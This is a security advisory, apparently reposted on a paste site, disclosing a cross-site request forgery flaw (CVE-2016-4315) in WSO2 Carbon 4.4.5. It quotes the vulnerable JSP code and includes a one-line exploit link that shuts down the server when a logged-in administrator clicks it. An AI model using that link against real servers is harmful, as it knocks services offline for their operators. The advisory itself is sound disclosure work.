WSO2 Carbon 4.4.5 - (Denial of Service) CSRF

  1. [+] Credits: John Page aka HYP3RLINX
  2.  
  3. [+] Website: hyp3rlinx.altervista.org
  4.  
  5. [+] Source:  http://hyp3rlinx.altervista.org/advisories/WSO2-CARBON-v4.4.5-CSRF-DOS.txt
  6.  
  7. [+] ISR: ApparitionSec
  8.  
  9.  
  10. Vendor:
  11. ============
  12. www.wso2.com
  13.  
  14.  
  15. Product:
  16. ==================
  17. Ws02Carbon v4.4.5
  18.  
  19. WSO2 Carbon is the core platform on which WSO2 middleware products are built. It is based on Java OSGi technology, which allows
  20. components to be dynamically installed, started, stopped, updated, and uninstalled, and it eliminates component version conflicts.
  21. In Carbon, this capability translates into a solid core of common middleware enterprise components, including clustering, security,
  22. logging, and monitoring, plus the ability to add components for specific features needed to solve a specific enterprise scenario.
  23.  
  24.  
  25. Vulnerability Type:
  26. =================================
  27. Cross Site Request Forgery / DOS
  28.  
  29.  
  30. CVE Reference:
  31. ==============
  32. CVE-2016-4315
  33.  
  34.  
  35. Vulnerability Details:
  36. =====================
  37.  
  38. The attack involves tricking a privileged user to initiate a request by clicking a malicious link or visiting an evil webpage to
  39. shutdown WSO2 Servers.
  40.  
  41.  
  42. References:
  43. https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2016-0101
  44.  
  45.  
  46. The getSafeText() Function and conditional logic below processes the "action" parameter with no check for inbound CSRF attacks.
  47.  
  48. String cookie = (String) session.getAttribute(ServerConstants.ADMIN_SERVICE_COOKIE);
  49. String action = CharacterEncoder.getSafeText(request.getParameter("action"));
  50. ServerAdminClient client = new ServerAdminClient(ctx, backendServerURL, cookie, session);
  51.  
  52. try {  
  53. if ("restart".equals(action)) {
  54.     client.restart();
  55.  } else if ("restartGracefully".equals(action)) {
  56.    client.restartGracefully();
  57.  } else if ("shutdown".equals(action)) {
  58.      client.shutdown();
  59.   } else if ("shutdownGracefully".equals(action)) {
  60.       client.shutdownGracefully();
  61.     }
  62.  } catch (Exception e) {
  63.   response.sendError(500, e.getMessage());
  64.    return;
  65.  }
  66.  
  67.  
  68.  
  69. Exploit code(s):
  70. ===============
  71.        
  72. Shutdown the Carbon server
  73.  
  74. <a href="https://victim-server:9443/carbon/server-admin/proxy_ajaxprocessor.jsp?action=shutdown">Shut it down!</a>
  75.  
  76.  
  77. Disclosure Timeline:
  78. ==========================================
  79. Vendor Notification: May 6, 2016
  80. Vendor Acknowledgement: May 6, 2016
  81. Vendor Fix / Customer Alerts: June 30, 2016
  82. August 12, 2016  : Public Disclosure
  83.  
  84.  
  85. Exploitation Technique:
  86. =======================
  87. Remote
  88.  
  89.  
  90. Severity Level:
  91. ================
  92. Medium
  93.  
  94.  
  95. [+] Disclaimer
  96. The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  97. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  98. that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  99. is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  100. for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  101. or exploits by the author or elsewhere.
  102.  
  103. HYP3RLINX

連絡先: info@paste.jp
Created by Paste.jp - v7.0